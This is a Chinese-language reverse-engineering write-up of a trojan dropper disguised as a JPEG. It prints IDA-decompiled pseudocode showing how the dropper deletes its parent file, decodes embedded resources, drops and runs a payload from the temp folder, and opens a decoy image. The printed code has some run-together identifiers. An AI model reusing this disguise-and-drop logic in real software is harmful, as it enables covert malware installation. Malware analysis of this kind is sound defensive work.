等了作者一个星期,没见他出Paper了,只好自己完成剩下的工作了...将sample.exe用LordPE修改一下入口点(0X401E1F)为EBFE,在用OllyDbg附加,然后再改回来。此处分析我主要采用IDA静态分析,适当结合OllyDbg动态跟踪。
整个函数: void __cdecl sub_401E1F() { DWORD v0; // eax@2 inti; // esi@5 HMODULE v2; // esi@5 intv3; // esi@8 intv4; // esi@8 intv5; // kr00_4@12 HANDLE v6; // eax@13 struct _SHELLEXECUTEINFOW ExecInfo; // [sp+Ch] [bp-A8Ch]@18 DWORD NumberOfBytesWritten; // [sp+48h] [bp-A50h]@15 DWORD flOldProtect; // [sp+4Ch] [bp-A4Ch]@5 HMODULE v10; // [sp+50h] [bp-A48h]@5 SIZE_T dwSize; // [sp+54h] [bp-A44h]@5 DWORD nNumberOfBytesToWrite; // [sp+58h] [bp-A40h]@5 LPCVOID lpBuffer; // [sp+5Ch] [bp-A3Ch]@5 LPVOID lpAddress; // [sp+60h] [bp-A38h]@5 intv15; // [sp+64h] [bp-A34h]@1 HANDLE hObject; // [sp+68h] [bp-A30h]@5 char v17; // [sp+6Ch] [bp-A2Ch]@1 char v18; // [sp+274h] [bp-824h]@1 char Dst; // [sp+47Ch] [bp-61Ch]@1 const WCHAR Dest; // [sp+684h] [bp-414h]@1 const WCHAR v21[260]; // [sp+88Ch] [bp-20Ch]@1 unsigned int v22; // [sp+A94h] [bp-4h]@1 intv23; // [sp+A98h] [bp+0h]@1 v22= (unsigned int)&v23 ^ dword_404000; memset(&Dst, 0, 0x208u); memset((void *)v21, 0, 0x208u); memset((void *)&Dest, 0, 0x208u); memset(&v17, 0, 0x208u); memset(&v18, 0, 0x208u); WaitForSingleObject(hHandle, 0xFFFFFFFFu); //等待父进程结束 CloseHandle(hHandle); v15= 1; if( !DeleteFileW(&Filename) ) //删除父进程对应的EXE文件(上面的句柄和此处的路径都是父进程写入到子进程的) { v0 = GetFileAttributesW(&Filename); if ( v0 != -1 ) { if ( v0 & 5 ) { SetFileAttributesW(&Filename, v0 & 0xFFFFFFFA); v15 = DeleteFileW(&Filename); } } } v2= GetModuleHandleW(0); //获取本执行模块句柄 v10= v2; lpAddress = (LPVOID)sub_40255A(v2,5, 1); //调用函数①找到两个资源的二进制起点 lpBuffer =(LPCVOID)sub_40255A(v2, 5, 2); dwSize = sub_4025DF(v2, 5, 1);//资源大小 nNumberOfBytesToWrite =sub_4025DF(v2, 5, 2); VirtualProtect(lpAddress, dwSize, 64u, &flOldProtect); //改变内存属性 sub_402662((unsigned int*)lpAddress, dwSize);//资源解码 VirtualProtect((LPVOID)lpBuffer, nNumberOfBytesToWrite, 0x40u,&flOldProtect); sub_402662((unsigned int *)lpBuffer, nNumberOfBytesToWrite); sub_4019B3(&Filename, 260, &hObject); //计算Filename的Unicode长度,并用hObject返回 for( i = 2 * (_DWORD)hObject +0x4048A0; *(_WORD*)i != 0x5c; i -= 2 ) //查找反斜杠 ; v4= i + 2; // i = VA of ‘\’ sub_4018D7(&v18, 260, v4); //将V4所指的字符串复制到v18 v3= v4 - 2; *(_WORD *)v3 = 0; sub_4018D7(&v17, 260, &Filename); *(_WORD *)v3 = 0x5c; while ( *(_WORD *)v3 != 0x2e && *(_WORD *)v3 ) v3 += 2; *(_WORD *)v3 = 0; v5= *(_DWORD *)sub_40255A(v10, 5, 3); sub_401952((wchar_t *)&Dest, 260, L"%s.%s", (unsignedint)&Filename); //形成jpeg全路径 GetTempPathW(0x104u, (LPWSTR)&Dst); sub_401952((wchar_t *)v21, 260, L"%s\\%s", (unsignedint)&Dst); //temp_path\sample.exe if( v15 ) { v6 = CreateFileW(&Dest, 0x40000000u, 0,0, 2u, 0, 0); //创建sample.jpeg覆盖原来的sample.exe hObject = v6; if ( v6 == (HANDLE)-1 ) { v15 = 1; } else { WriteFile(v6, lpBuffer, nNumberOfBytesToWrite,&NumberOfBytesWritten, 0);//写图片数据 FlushFileBuffers(hObject); //刷新缓冲区 CloseHandle(hObject); v15 = 0; } } while ( 1 ) { hObject = CreateFileW(v21, 0x40000000u, 0, 0, 2u, 0x80u, 0);//在临时文件夹里创建sample.exe if ( hObject != (HANDLE)-1 ) break; sub_401911(v21, 260, L".exe"); } WriteFile(hObject, lpAddress,dwSize, &NumberOfBytesWritten, 0); //写真正sample.EXE文件数据 FlushFileBuffers(hObject); CloseHandle(hObject); memset(&ExecInfo, 0, 0x3Cu); ExecInfo.lpFile = v21; ExecInfo.cbSize = 60; ExecInfo.fMask = 64; ExecInfo.lpVerb = L"open"; ExecInfo.nShow = 5; ShellExecuteExW(&ExecInfo); //执行真正的病毒 if( !v15 ) ShellExecuteW(0, L"open",&Dest, 0, 0, 5); //弹出图片 WaitForSingleObject(ExecInfo.hProcess, 0xFFFFFFFFu);//等待执行完毕 sub_401ACE((int)v21); }
这里面嵌套了几个函数,现在都贴出来:
函数①
int __stdcall sub_40255A(int hModule,unsigned int a2, unsigned int a3)
{
intresult; // eax@1
intResource_VA; // esi@2
intv5; // eax@6
result = *(_DWORD *)(hModule + *(_DWORD*)(hModule + 0x3C) + 0x88);//资源目录RVA
if( result )
{
Resource_VA = result + hModule;
if ( a2 <= 0xFFFF )
result = sub_4024CF(result+ hModule, a2);// here调用函数②
else
result = sub_4024FF(result + hModule, a2, result + hModule);
if ( result )
{
v5 = Resource_VA + (*(_DWORD *)(result + 4) & 0x7FFFFFFF);
if ( a3 <= 0xFFFF )
result = sub_4024CF(v5, a3);
else
result = sub_4024FF(v5, a3, Resource_VA);
if ( result )
result = hModule
+ *(_DWORD *)(*(_DWORD*)((*(_DWORD *)(result + 4) & 0x7FFFFFFF) + Resource_VA + 20) +Resource_VA);
}
}
return result;
}
函数②:
int __stdcall sub_4024CF(int resource_VA,int a2)
{
intresult; // eax@1
intv3; // ecx@1
v3= *(_WORD *)(resource_VA + 0xE); // WORD NumberOfIdEntries;
result = resource_VA + 8 * *(_WORD *)(resource_VA + 0xC) + 0x10;//从资源基址起绕过各个NamedEntry
while ( v3 )
{
if ( *(_DWORD *)result == a2 ) //查找等于指定值的资源
return result;
--v3;
result += 8;// IMAGE_RESOURCE_DIRECTORY_ENTRY大小为8字节
}
return 0;
}
这里用到了资源目录结构:
// Resource directory consists of twocounts, following by a variable length
// array of directory entries. The first count isthe number of entries at
// beginning of the arraythat have actual names associated with each entry.
// The entries are in ascending order, caseinsensitive strings. The second
// count is the number of entries thatimmediately follow the named entries.
// This secondcount identifies the number of entries that have 16-bit integer
// Ids as their name. These entries are alsosorted in ascending order.
//
// This structure allows fast lookup by eithername or number, but for any
// given resource entry only one form oflookup is supported, not both.
// This is consistant with the syntax ofthe .RC file and the .RES file.
//
typedef struct _IMAGE_RESOURCE_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
WORD NumberOfNamedEntries; //名称入口的个数
WORD NumberOfIdEntries; //ID入口个数--此结构下还包函有的资源结构树,即:还有几个子树
// IMAGE_RESOURCE_DIRECTORY_ENTRY DirectoryEntries[];
} IMAGE_RESOURCE_DIRECTORY,*PIMAGE_RESOURCE_DIRECTORY;
00405000 00 00 00 00 00 00 00 00 04 00 00 0000 0003 00 .............
.
00405010 03 00 00 00 28 00 00 8005 00 00 00 88 0000 80
...(..€...?.€
00405020 0E 00 00 00 B0 00 00 80 00 00 00 00 00 00 00 00
/*
* Predefined Resource Types
*/
#define RT_CURSOR MAKEINTRESOURCE(1)
#define RT_BITMAP MAKEINTRESOURCE(2)
#define RT_ICON MAKEINTRESOURCE(3)
#define RT_MENU MAKEINTRESOURCE(4)
#define RT_DIALOGMAKEINTRESOURCE(5)
#define RT_STRING MAKEINTRESOURCE(6)
#define RT_FONTDIR MAKEINTRESOURCE(7)
#define RT_FONT MAKEINTRESOURCE(8)
#define RT_ACCELERATOR MAKEINTRESOURCE(9)
#define RT_RCDATA MAKEINTRESOURCE(10)
#define RT_MESSAGETABLE MAKEINTRESOURCE(11)
// Each directory contains the 32-bit Nameof the entry and an offset,
// relative to the beginning of theresource directory of the data associated
// with this directory entry. If the name of the entry is an actual text
// string instead of an integer Id, thenthe high order bit of the name field
// is set to one and the low order 31-bitsare an offset, relative to the
// beginning of the resource directory ofthe string, which is of type
// IMAGE_RESOURCE_DIRECTORY_STRING. Otherwise the high bit is clear and the
// low-order 16-bits are the integer Id thatidentify this resource directory
// entry. If the directory entry is yetanother resource directory (i.e. a
// subdirectory), then the high order bitof the offset field will be
// set to indicate this. Otherwise the high bit is clear and theoffset
// field points to a resource data entry.
//
typedef struct_IMAGE_RESOURCE_DIRECTORY_ENTRY {
union {
struct {
DWORD NameOffset:31;
DWORD NameIsString:1;
};
DWORD Name;
WORD Id;
};
union{
DWORD OffsetToData;
struct {
DWORD OffsetToDirectory:31;
DWORD DataIsDirectory:1;
};
};
} IMAGE_RESOURCE_DIRECTORY_ENTRY,*PIMAGE_RESOURCE_DIRECTORY_ENTRY;
真正的sample.exe是一个带有假冒微软公司数字签名的可执行文件:
360扫描一下结果为:
病毒说明
木马是一种伪装成正常文件的恶意软件,通常通过隐蔽的手段获得运行权限,然后盗窃用户的隐私信息,或进行其他恶意行为。